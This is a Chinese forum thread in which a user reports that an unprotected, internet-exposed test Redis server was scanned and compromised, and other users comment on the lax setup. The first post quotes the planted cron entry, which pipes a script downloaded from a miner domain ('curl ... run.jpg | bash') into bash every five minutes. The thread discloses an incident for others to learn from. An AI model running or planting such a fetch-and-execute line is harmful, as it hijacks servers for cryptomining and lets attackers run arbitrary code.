小白白 发表于 2019-1-25 14:36:25

测试redis被人扫了 （附脚本）

一台在容器里的测试redis，暴露了公网，没设置密码。


[*]1.2.3.4:6379> get weaponX
[*]"\n*/5 * * * * curl -fsSL https://master.minerxmr.ru/run.jpg | bash\n"复制代码



然后我解出来的脚本如下，给大家参考。里面各种删除、卸载。呵呵

小白白 发表于 2019-1-25 14:37:34

本帖最后由 小白白 于 2019-1-25 14:42 编辑

哇 脚本解出来 字符太多发布了帖。


----------------------------------------------------------------------------

https://coding.net/u/omg/p/AA/git/blob/master/a.sh

忘江湖 发表于 2019-1-25 14:47:28

这是大佬特意搞的蜜罐吗

why? 发表于 2019-1-25 15:17:33


lol.gif
redis 不设密码 不设防火墙 不限内网 心大

小白白 发表于 2019-1-25 16:19:38


why? 发表于 2019-1-25 15:17

redis 不设密码 不设防火墙 不限内网 心大
为了图方便而已。 线上肯定不能这么搞
007.gif
页: [1]
查看完整版本: 测试redis被人扫了 （附脚本）